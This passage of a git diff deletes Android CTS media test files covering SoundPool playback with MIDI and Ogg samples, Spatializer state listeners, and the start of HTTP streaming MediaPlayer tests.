- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-import android.platform.test.annotations.AppModeFull;
-
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class SoundPoolMidiTest extends SoundPoolTest {
-
-    @Override
-    protected int getSoundA() {
-        return R.raw.midi_a;
-    }
-
-    @Override
-    protected int getSoundCs() {
-        return R.raw.midi_cs;
-    }
-
-    @Override
-    protected int getSoundE() {
-        return R.raw.midi_e;
-    }
-
-    @Override
-    protected int getSoundB() {
-        return R.raw.midi_b;
-    }
-
-    @Override
-    protected int getSoundGs() {
-        return R.raw.midi_gs;
-    }
-
-    @Override
-    protected String getFileName() {
-        return "midi_a.mid";
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/SoundPoolOggTest.java b/tests/tests/media/src/android/media/cts/SoundPoolOggTest.java
deleted file mode 100644
index 9749157..0000000
--- a/tests/tests/media/src/android/media/cts/SoundPoolOggTest.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-import android.platform.test.annotations.AppModeFull;
-
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class SoundPoolOggTest extends SoundPoolTest {
-
-    @Override
-    protected int getSoundA() {
-        return R.raw.a_4;
-    }
-
-    @Override
-    protected int getSoundCs() {
-        return R.raw.c_sharp_5;
-    }
-
-    @Override
-    protected int getSoundE() {
-        return R.raw.e_5;
-    }
-
-    @Override
-    protected int getSoundB() {
-        return R.raw.b_5;
-    }
-
-    @Override
-    protected int getSoundGs() {
-        return R.raw.g_sharp_5;
-    }
-
-    @Override
-    protected String getFileName() {
-        return "a_4.ogg";
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/SoundPoolTest.java b/tests/tests/media/src/android/media/cts/SoundPoolTest.java
deleted file mode 100644
index d6c0879..0000000
--- a/tests/tests/media/src/android/media/cts/SoundPoolTest.java
+++ /dev/null
@@ -1,409 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
-import android.content.Context;
-import android.content.res.AssetFileDescriptor;
-import android.media.AudioAttributes;
-import android.media.AudioManager;
-import android.media.SoundPool;
-import android.media.cts.R;
-import android.os.Build;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import androidx.test.InstrumentationRegistry;
-import com.android.compatibility.common.util.ApiLevelUtil;
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.FileOutputStream;
-import java.io.InputStream;
-import java.util.Arrays;
-import junitparams.JUnitParamsRunner;
-import junitparams.Parameters;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-@RunWith(JUnitParamsRunner.class)
-abstract class SoundPoolTest {
-    private static final String TAG = "SoundPoolTest(Base)";
-
-    private static final int SOUNDPOOL_STREAMS = 4;
-    private static final int PRIORITY = 1;
-    private static final float LOUD = 1.f;
-    private static final float QUIET = LOUD / 4.f;
-    private static final float SILENT = 0.f;
-    private File mFile;
-    private SoundPool mSoundPool;
-
-    /**
-     * function to return resource ID for A4 sound.
-     * should be implemented by child class
-     * @return resource ID
-     */
-    protected abstract int getSoundA();
-
-    protected abstract int getSoundCs();
-
-    protected abstract int getSoundE();
-
-    protected abstract int getSoundB();
-
-    protected abstract int getSoundGs();
-
-    protected abstract String getFileName();
-
-    private int[] getSounds() {
-        int[] sounds = { getSoundA(),
-                         getSoundCs(),
-                         getSoundE(),
-                         getSoundB(),
-                         getSoundGs() };
-        return sounds;
-    }
-
-    private static Context getContext() {
-        return InstrumentationRegistry.getInstrumentation().getTargetContext();
-    }
-
-    protected AudioAttributes getAudioAttributes() {
-        return new AudioAttributes.Builder()
-                .setLegacyStreamType(AudioManager.STREAM_MUSIC).build();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mFile = new File(getContext().getFilesDir(), getFileName());
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        if (mFile.exists()) {
-            mFile.delete();
-        }
-        if (mSoundPool != null) {
-            mSoundPool.release();
-            mSoundPool = null;
-            return;
-        }
-    }
-
-    @Test
-    public void testLoad() throws Exception {
-        mSoundPool = new SoundPool.Builder().setMaxStreams(SOUNDPOOL_STREAMS)
-                .setAudioAttributes(getAudioAttributes()).build();
-        int sampleId1 = mSoundPool.load(getContext(), getSoundA(), PRIORITY);
-        waitUntilLoaded(sampleId1);
-        // should return true, but returns false
-        mSoundPool.unload(sampleId1);
-
-        AssetFileDescriptor afd = getContext().getResources().openRawResourceFd(getSoundCs());
-        int sampleId2;
-        sampleId2 = mSoundPool.load(afd, PRIORITY);
-        waitUntilLoaded(sampleId2);
-        mSoundPool.unload(sampleId2);
-
-        FileDescriptor fd = afd.getFileDescriptor();
-        long offset = afd.getStartOffset();
-        long length = afd.getLength();
-        int sampleId3;
-        sampleId3 = mSoundPool.load(fd, offset, length, PRIORITY);
-        waitUntilLoaded(sampleId3);
-        mSoundPool.unload(sampleId3);
-
-        String path = mFile.getAbsolutePath();
-        createSoundFile(mFile);
-        int sampleId4;
-        sampleId4 = mSoundPool.load(path, PRIORITY);
-        waitUntilLoaded(sampleId4);
-        mSoundPool.unload(sampleId4);
-    }
-
-    private void createSoundFile(File f) throws Exception {
-        FileOutputStream fOutput = null;
-        try {
-            fOutput = new FileOutputStream(f);
-            InputStream is = getContext().getResources().openRawResource(getSoundA());
-            byte[] buffer = new byte[1024];
-            int length = is.read(buffer);
-            while (length != -1) {
-                fOutput.write(buffer, 0, length);
-                length = is.read(buffer);
-            }
-        } finally {
-            if (fOutput != null) {
-                fOutput.flush();
-                fOutput.close();
-            }
-        }
-    }
-
-    /**
-     * Parameterized tests consider 1, 2, 4 streams in the SoundPool.
-     */
-
-    @Test
-    @Parameters({"1", "2", "4"})
-    public void testSoundPoolOp(int streamCount) throws Exception {
-        // Mainline compatibility
-        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S) && streamCount < 4) {
-            Log.d(TAG, "API before S: Skipping testSoundPoolOp(" + streamCount + ")");
-            return;
-        }
-
-        mSoundPool = new SoundPool.Builder().setMaxStreams(streamCount)
-                .setAudioAttributes(getAudioAttributes()).build();
-        int sampleID = loadSampleSync(getSoundA(), PRIORITY);
-
-        int waitMsec = 1000;
-        float leftVolume = SILENT;
-        float rightVolume = LOUD;
-        int priority = 1;
-        int loop = 0;
-        float rate = 1f;
-        int streamID = mSoundPool.play(sampleID, leftVolume, rightVolume, priority, loop, rate);
-        assertTrue(streamID != 0);
-        Thread.sleep(waitMsec);
-        rate = 1.4f;
-        mSoundPool.setRate(streamID, rate);
-        Thread.sleep(waitMsec);
-        mSoundPool.setRate(streamID, 1f);
-        Thread.sleep(waitMsec);
-        mSoundPool.pause(streamID);
-        Thread.sleep(waitMsec);
-        mSoundPool.resume(streamID);
-        Thread.sleep(waitMsec);
-        mSoundPool.stop(streamID);
-
-        streamID = mSoundPool.play(sampleID, leftVolume, rightVolume, priority, loop, rate);
-        assertTrue(streamID != 0);
-        loop = -1;// loop forever
-        mSoundPool.setLoop(streamID, loop);
-        Thread.sleep(waitMsec);
-        leftVolume = SILENT;
-        rightVolume = SILENT;
-        mSoundPool.setVolume(streamID, leftVolume, rightVolume);
-        Thread.sleep(waitMsec);
-        rightVolume = LOUD;
-        mSoundPool.setVolume(streamID, leftVolume, rightVolume);
-        priority = 0;
-        mSoundPool.setPriority(streamID, priority);
-        Thread.sleep(waitMsec * 10);
-        mSoundPool.stop(streamID);
-        mSoundPool.unload(sampleID);
-    }
-
-    @Test
-    @Parameters({"1", "2", "4"})
-    public void testMultiSound(int streamCount) throws Exception {
-        // Mainline compatibility
-        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S) && streamCount < 4) {
-            Log.d(TAG, "API before S: Skipping testMultiSound(" + streamCount + ")");
-            return;
-        }
-
-        mSoundPool = new SoundPool.Builder().setMaxStreams(streamCount)
-                .setAudioAttributes(getAudioAttributes()).build();
-        int sampleID1 = loadSampleSync(getSoundA(), PRIORITY);
-        int sampleID2 = loadSampleSync(getSoundCs(), PRIORITY);
-        long waitMsec = 1000;
-        Thread.sleep(waitMsec);
-
-        // play sounds one at a time
-        int streamID1 = mSoundPool.play(sampleID1, LOUD, QUIET, PRIORITY, -1, 1);
-        assertTrue(streamID1 != 0);
-        Thread.sleep(waitMsec * 4);
-        mSoundPool.stop(streamID1);
-        int streamID2 = mSoundPool.play(sampleID2, QUIET, LOUD, PRIORITY, -1, 1);
-        assertTrue(streamID2 != 0);
-        Thread.sleep(waitMsec * 4);
-        mSoundPool.stop(streamID2);
-
-        // play both at once repeating the first, but not the second
-        streamID1 = mSoundPool.play(sampleID1, LOUD, QUIET, PRIORITY, 1, 1);
-        streamID2 = mSoundPool.play(sampleID2, QUIET, LOUD, PRIORITY, 0, 1);
-        assertTrue(streamID1 != 0);
-        assertTrue(streamID2 != 0);
-        Thread.sleep(4000);
-        // both streams should have stopped by themselves; no way to check
-
-        mSoundPool.release();
-        mSoundPool = null;
-    }
-
-    @Test
-    @Parameters({"1", "2", "4"})
-    public void testLoadMore(int streamCount) throws Exception {
-        // Mainline compatibility
-        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S) && streamCount < 4) {
-            Log.d(TAG, "API before S: Skipping testLoadMore(" + streamCount + ")");
-            return;
-        }
-
-        mSoundPool = new SoundPool.Builder().setMaxStreams(streamCount)
-                .setAudioAttributes(getAudioAttributes()).build();
-        int[] sounds = getSounds();
-        int[] soundIds = new int[sounds.length];
-        int[] streamIds = new int[sounds.length];
-        for (int i = 0; i < sounds.length; i++) {
-            soundIds[i] = loadSampleSync(sounds[i], PRIORITY);
-            System.out.println("load: " + soundIds[i]);
-        }
-        for (int i = 0; i < soundIds.length; i++) {
-            streamIds[i] = mSoundPool.play(soundIds[i], LOUD, LOUD, PRIORITY, -1, 1);
-        }
-        Thread.sleep(3000);
-        for (int stream : streamIds) {
-            assertTrue(stream != 0);
-            mSoundPool.stop(stream);
-        }
-        for (int sound : soundIds) {
-            mSoundPool.unload(sound);
-        }
-        mSoundPool.release();
-    }
-
-    @Test
-    public void testAutoPauseResume() throws Exception {
-        // The number of possible SoundPool streams simultaneously active is limited by
-        // track resources. Generally this is no greater than 32, but the actual
-        // amount may be less depending on concurrently running applications.
-        // Here we attempt to create more streams than what is normally possible;
-        // SoundPool should gracefully degrade to play those streams it can.
-        //
-        // Try to keep the maxStreams less than the number required to be active
-        // and certainly less than 20 to be cooperative to other applications.
-        final int TEST_STREAMS = 40;
-        SoundPool soundPool = null;
-        try {
-            soundPool = new SoundPool.Builder()
-                    .setAudioAttributes(getAudioAttributes())
-                    .setMaxStreams(TEST_STREAMS)
-                    .build();
-
-            // get our sounds
-            final int[] sounds = getSounds();
-
-            // set our completion listener
-            final int[] loadIds = new int[TEST_STREAMS];
-            final Object done = new Object();
-            final int[] loaded = new int[1]; // used as a "pointer" to an integer
-            final SoundPool fpool = soundPool; // final reference in scope of try block
-            soundPool.setOnLoadCompleteListener(new SoundPool.OnLoadCompleteListener() {
-                    @Override
-                    public void onLoadComplete(SoundPool pool, int sampleId, int status) {
-                        assertEquals(fpool, pool);
-                        assertEquals(0 /* success */, status);
-                        synchronized(done) {
-                            loadIds[loaded[0]++] = sampleId;
-                            if (loaded[0] == loadIds.length) {
-                                done.notify();
-                            }
-                        }
-                    }
-                });
-
-            // initiate loading
-            final int[] soundIds = new int[TEST_STREAMS];
-            for (int i = 0; i < soundIds.length; i++) {
-                soundIds[i] = soundPool.load(getContext(), sounds[i % sounds.length], PRIORITY);
-            }
-
-            // wait for all sounds to load,
-            // it usually takes about 33 seconds and 100 seconds is used to have some headroom.
-            final long LOAD_TIMEOUT_IN_MS = 100000;
-            final long startTime = System.currentTimeMillis();
-            synchronized(done) {
-                while (loaded[0] != soundIds.length) {
-                    final long waitTime =
-                            LOAD_TIMEOUT_IN_MS - (System.currentTimeMillis() - startTime);
-                    assertTrue(waitTime > 0);
-                    done.wait(waitTime);
-                }
-            }
-
-            // verify the Ids match (actually does sorting too)
-            Arrays.sort(loadIds);
-            Arrays.sort(soundIds);
-            assertTrue(Arrays.equals(loadIds, soundIds));
-
-            // play - should hear the following:
-            // 1 second of sound
-            // 1 second of silence
-            // 1 second of sound.
-            int[] streamIds = new int[soundIds.length];
-            for (int i = 0; i < soundIds.length; i++) {
-                streamIds[i] = soundPool.play(soundIds[i],
-                        0.5f /* leftVolume */, 0.5f /* rightVolume */, PRIORITY,
-                        -1 /* loop (infinite) */, 1.0f /* rate */);
-            }
-            Thread.sleep(1000 /* millis */);
-            soundPool.autoPause();
-            Thread.sleep(1000 /* millis */);
-            soundPool.autoResume();
-            Thread.sleep(1000 /* millis */);
-
-            // clean up
-            for (int stream : streamIds) {
-                assertTrue(stream != 0);
-                soundPool.stop(stream);
-            }
-            for (int sound : soundIds) {
-                assertEquals(true, soundPool.unload(sound));
-            }
-            // check to see we're really unloaded
-            for (int sound : soundIds) {
-                assertEquals(false, soundPool.unload(sound));
-            }
-        } finally {
-            if (soundPool != null) {
-                soundPool.release();
-                soundPool = null;
-            }
-        }
-    }
-
-    /**
-     * Load a sample and wait until it is ready to be played.
-     * @return The sample ID.
-     * @throws InterruptedException
-     */
-    private int loadSampleSync(int sampleId, int prio) throws InterruptedException {
-        int sample = mSoundPool.load(getContext(), sampleId, prio);
-        waitUntilLoaded(sample);
-        return sample;
-    }
-
-    /**
-     * Wait until the specified sample is loaded.
-     * @param sampleId The sample ID.
-     * @throws InterruptedException
-     */
-    private void waitUntilLoaded(int sampleId) throws InterruptedException {
-        int stream = 0;
-        while (stream == 0) {
-            Thread.sleep(500);
-            stream = mSoundPool.play(sampleId, SILENT, SILENT, 1, 0, 1);
-        }
-        mSoundPool.stop(stream);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/SpatializerTest.java b/tests/tests/media/src/android/media/cts/SpatializerTest.java
deleted file mode 100644
index 0ab5ff5..0000000
--- a/tests/tests/media/src/android/media/cts/SpatializerTest.java
+++ /dev/null
@@ -1,241 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertThrows;
-
-import android.annotation.NonNull;
-import android.content.Context;
-import android.media.AudioAttributes;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.Spatializer;
-import android.util.Log;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-import com.android.internal.annotations.GuardedBy;
-
-import java.util.concurrent.Executors;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-@NonMediaMainlineTest
-public class SpatializerTest extends CtsAndroidTestCase {
-
-    private AudioManager mAudioManager;
-    private static final String TAG = "SpatializerTest";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mAudioManager = (AudioManager) getContext().getSystemService(AudioManager.class);
-    }
-
-    public void testGetSpatializer() {
-        Spatializer spat = mAudioManager.getSpatializer();
-        assertNotNull("Spatializer shouldn't be null", spat);
-    }
-
-    public void testUnsupported() {
-        Spatializer spat = mAudioManager.getSpatializer();
-        if (spat.getImmersiveAudioLevel() != Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
-            Log.i(TAG, "skipping testUnsupported, functionality supported");
-            return;
-        }
-        assertFalse(spat.isEnabled());
-        assertFalse(spat.isAvailable());
-    }
-
-    public void testSpatializerStateListenerManagement() {
-        final Spatializer spat = mAudioManager.getSpatializer();
-        final MySpatStateListener stateListener = new MySpatStateListener();
-
-        // add listener:
-        // verify null arg checks
-        assertThrows("null Executor allowed in addOnSpatializerStateChangedListener",
-                NullPointerException.class,
-                () -> spat.addOnSpatializerStateChangedListener(null, stateListener));
-        assertThrows("null listener allowed in addOnSpatializerStateChangedListener",
-                NullPointerException.class,
-                () -> spat.addOnSpatializerStateChangedListener(
-                        Executors.newSingleThreadExecutor(),null));
-
-        spat.addOnSpatializerStateChangedListener(Executors.newSingleThreadExecutor(),
-                stateListener);
-        // verify double add
-        assertThrows("duplicate listener allowed in addOnSpatializerStateChangedListener",
-                IllegalArgumentException.class,
-                () -> spat.addOnSpatializerStateChangedListener(Executors.newSingleThreadExecutor(),
-                        stateListener));
-
-        // remove listener:
-        // verify null arg check
-        assertThrows("null listener allowed in removeOnSpatializerStateChangedListener",
-                NullPointerException.class,
-                () -> spat.removeOnSpatializerStateChangedListener(null));
-
-        // verify unregistered listener
-        assertThrows("unregistered listener allowed in removeOnSpatializerStateChangedListener",
-                IllegalArgumentException.class,
-                () -> spat.removeOnSpatializerStateChangedListener(new MySpatStateListener()));
-
-        spat.removeOnSpatializerStateChangedListener(stateListener);
-        // verify double remove
-        assertThrows("double listener removal allowed in removeOnSpatializerStateChangedListener",
-                IllegalArgumentException.class,
-                () -> spat.removeOnSpatializerStateChangedListener(stateListener));
-    }
-
-    public void testMinSpatializationCapabilities() {
-        Spatializer spat = mAudioManager.getSpatializer();
-        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
-            Log.i(TAG, "skipping testMinSpatializationCapabilities, no Spatializer");
-            return;
-        }
-        if (!spat.isAvailable()) {
-            Log.i(TAG, "skipping testMinSpatializationCapabilities, Spatializer not available");
-            return;
-        }
-        for (int sampleRate : new int[] { 44100, 4800 }) {
-            AudioFormat minFormat = new AudioFormat.Builder()
-                    .setSampleRate(sampleRate)
-                    .setChannelMask(AudioFormat.CHANNEL_OUT_5POINT1)
-                    .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                    .build();
-            for (int usage : new int[] { AudioAttributes.USAGE_MEDIA,
-                                         AudioAttributes.USAGE_GAME}) {
-                AudioAttributes defAttr = new AudioAttributes.Builder()
-                        .setUsage(usage)
-                        .build();
-                assertTrue("AudioAttributes usage:" + usage + " at " + sampleRate
-                        + " should be virtualizeable", spat.canBeSpatialized(defAttr, minFormat));
-            }
-        }
-    }
-
-    public void testVirtualizerEnabled() throws Exception {
-        Spatializer spat = mAudioManager.getSpatializer();
-        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
-            Log.i(TAG, "skipping testVirtualizerEnabled, no Spatializer");
-            return;
-        }
-        boolean spatEnabled = spat.isEnabled();
-        final MySpatStateListener stateListener = new MySpatStateListener();
-
-        spat.addOnSpatializerStateChangedListener(Executors.newSingleThreadExecutor(),
-                stateListener);
-        getInstrumentation().getUiAutomation()
-                .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
-
-        spat.setEnabled(!spatEnabled);
-        getInstrumentation().getUiAutomation()
-                .dropShellPermissionIdentity();
-        assertEquals("VirtualizerStage enabled state differ",
-                !spatEnabled, spat.isEnabled());
-        Boolean enabled = stateListener.getEnabled();
-        assertNotNull("VirtualizerStage state listener wasn't called", enabled);
-        assertEquals("VirtualizerStage state listener didn't get expected value",
-                !spatEnabled, enabled.booleanValue());
-    }
-
-    static class MySpatStateListener
-            implements Spatializer.OnSpatializerStateChangedListener {
-
-        private final Object mCbEnaLock = new Object();
-        private final Object mCbAvailLock = new Object();
-        @GuardedBy("mCbEnaLock")
-        private Boolean mEnabled = null;
-        @GuardedBy("mCbEnaLock")
-        private final LinkedBlockingQueue<Boolean> mEnabledQueue =
-                new LinkedBlockingQueue<Boolean>();
-        @GuardedBy("mCbAvailLock")
-        private Boolean mAvailable = null;
-        @GuardedBy("mCbAvailLock")
-        private final LinkedBlockingQueue<Boolean> mAvailableQueue =
-                new LinkedBlockingQueue<Boolean>();
-
-        private static final int LISTENER_WAIT_TIMEOUT_MS = 3000;
-        void reset() {
-            synchronized (mCbEnaLock) {
-                synchronized (mCbAvailLock) {
-                    mEnabled = null;
-                    mEnabledQueue.clear();
-                    mAvailable = null;
-                    mAvailableQueue.clear();
-                }
-            }
-        }
-
-        Boolean getEnabled() {
-            synchronized (mCbEnaLock) {
-                while (mEnabled == null) {
-                    try {
-                        mEnabled = mEnabledQueue.poll(
-                                LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-                        if (mEnabled == null) { // timeout
-                            break;
-                        }
-                    } catch (InterruptedException e) {
-                    }
-                }
-            }
-            return mEnabled;
-        }
-
-        Boolean getAvailable() {
-            synchronized (mCbAvailLock) {
-                while (mAvailable == null) {
-                    try {
-                        mAvailable = mAvailableQueue.poll(
-                                LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-                        if (mAvailable == null) { // timeout
-                            break;
-                        }
-                    } catch (InterruptedException e) {
-                    }
-                }
-            }
-            return mAvailable;
-        }
-
-        MySpatStateListener() {
-            reset();
-        }
-
-        @Override
-        public void onSpatializerEnabledChanged(Spatializer spat, boolean enabled) {
-            synchronized (mCbEnaLock) {
-                try {
-                    mEnabledQueue.put(enabled);
-                } catch (InterruptedException e) {
-                    fail("Failed to put enabled event in queue");
-                }
-            }
-        }
-
-        @Override
-        public void onSpatializerAvailableChanged(@NonNull Spatializer spat, boolean available) {
-            synchronized (mCbAvailLock) {
-                try {
-                    mAvailableQueue.put(available);
-                } catch (InterruptedException e) {
-                    fail("Failed to put available event in queue");
-                }
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
deleted file mode 100644
index 109860a..0000000
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ /dev/null
@@ -1,688 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.media.MediaFormat;
-import android.media.MediaPlayer;
-import android.media.MediaPlayer.TrackInfo;
-import android.media.TimedMetaData;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Looper;
-import android.os.PowerManager;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.test.InstrumentationTestRunner;
-import android.util.Log;
-import android.webkit.cts.CtsTestServer;
-
-import com.android.compatibility.common.util.DynamicConfigDeviceSide;
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.IOException;
-import java.io.InterruptedIOException;
-import java.net.HttpCookie;
-import java.net.Socket;
-import java.util.concurrent.atomic.AtomicInteger;
-import org.apache.http.impl.DefaultHttpServerConnection;
-import org.apache.http.impl.io.SocketOutputBuffer;
-import org.apache.http.io.SessionOutputBuffer;
-import org.apache.http.params.HttpParams;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Tests of MediaPlayer streaming capabilities.
- */
-@NonMediaMainlineTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class StreamingMediaPlayerTest extends MediaPlayerTestBase {
-
-    private static final String TAG = "StreamingMediaPlayerTest";
-    static final String mInpPrefix = WorkDir.getMediaDirString() + "assets/";
-
-    private static final String HTTP_H263_AMR_VIDEO_1_KEY =
-            "streaming_media_player_test_http_h263_amr_video1";
-    private static final String HTTP_H263_AMR_VIDEO_2_KEY =
-            "streaming_media_player_test_http_h263_amr_video2";
-    private static final String HTTP_H264_BASE_AAC_VIDEO_1_KEY =
-            "streaming_media_player_test_http_h264_base_aac_video1";
-    private static final String HTTP_H264_BASE_AAC_VIDEO_2_KEY =
-            "streaming_media_player_test_http_h264_base_aac_video2";
-    private static final String HTTP_MPEG4_SP_AAC_VIDEO_1_KEY =
-            "streaming_media_player_test_http_mpeg4_sp_aac_video1";
-    private static final String HTTP_MPEG4_SP_AAC_VIDEO_2_KEY =
-            "streaming_media_player_test_http_mpeg4_sp_aac_video2";
-    private static final String MODULE_NAME = "CtsMediaTestCases";
-
-    private static final int LOCAL_HLS_BITS_PER_MS = 100 * 1000;
-
-    private DynamicConfigDeviceSide dynamicConfig;
-
-    private CtsTestServer mServer;
-
-    private String mInputUrl;
-
-    @Override
-    protected void setUp() throws Exception {
-        // if launched with InstrumentationTestRunner to pass a command line argument
-        if (getInstrumentation() instanceof InstrumentationTestRunner) {
-            InstrumentationTestRunner testRunner =
-                    (InstrumentationTestRunner)getInstrumentation();
-
-            Bundle arguments = testRunner.getArguments();
-            mInputUrl = arguments.getString("url");
-            Log.v(TAG, "setUp: arguments: " + arguments);
-            if (mInputUrl != null) {
-                Log.v(TAG, "setUp: arguments[url] " + mInputUrl);
-            }
-        }
-
-        super.setUp();
-        dynamicConfig = new DynamicConfigDeviceSide(MODULE_NAME);
-    }
-
-/* RTSP tests are more flaky and vulnerable to network condition.
-   Disable until better solution is available
-    // Streaming RTSP video from YouTube
-    public void testRTSP_H263_AMR_Video1() throws Exception {
-        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
-                + "&fmt=13&user=android-device-test", 176, 144);
-    }
-    public void testRTSP_H263_AMR_Video2() throws Exception {
-        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
-                + "&fmt=13&user=android-device-test", 176, 144);
-    }
-
-    public void testRTSP_MPEG4SP_AAC_Video1() throws Exception {
-        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
-                + "&fmt=17&user=android-device-test", 176, 144);
-    }
-    public void testRTSP_MPEG4SP_AAC_Video2() throws Exception {
-        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
-                + "&fmt=17&user=android-device-test", 176, 144);
-    }
-
-    public void testRTSP_H264Base_AAC_Video1() throws Exception {
-        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
-                + "&fmt=18&user=android-device-test", 480, 270);
-    }
-    public void testRTSP_H264Base_AAC_Video2() throws Exception {
-        playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
-                + "&fmt=18&user=android-device-test", 480, 270);
-    }
-*/
-    // Streaming HTTP video from YouTube
-    public void testHTTP_H263_AMR_Video1() throws Exception {
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_H263, MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
-            return; // skip
-        }
-
-        String urlString = dynamicConfig.getValue(HTTP_H263_AMR_VIDEO_1_KEY);
-        playVideoTest(urlString, 176, 144);
-    }
-
-    public void testHTTP_H263_AMR_Video2() throws Exception {
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_H263, MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
-            return; // skip
-        }
-
-        String urlString = dynamicConfig.getValue(HTTP_H263_AMR_VIDEO_2_KEY);
-        playVideoTest(urlString, 176, 144);
-    }
-
-    public void testHTTP_MPEG4SP_AAC_Video1() throws Exception {
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_MPEG4)) {
-            return; // skip
-        }
-
-        String urlString = dynamicConfig.getValue(HTTP_MPEG4_SP_AAC_VIDEO_1_KEY);
-        playVideoTest(urlString, 176, 144);
-    }
-
-    public void testHTTP_MPEG4SP_AAC_Video2() throws Exception {
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_MPEG4)) {
-            return; // skip
-        }
-
-        String urlString = dynamicConfig.getValue(HTTP_MPEG4_SP_AAC_VIDEO_2_KEY);
-        playVideoTest(urlString, 176, 144);
-    }
-
-    public void testHTTP_H264Base_AAC_Video1() throws Exception {
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-
-        String urlString = dynamicConfig.getValue(HTTP_H264_BASE_AAC_VIDEO_1_KEY);
-        playVideoTest(urlString, 640, 360);
-    }
-
-    public void testHTTP_H264Base_AAC_Video2() throws Exception {
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
-            return; // skip
-        }
-
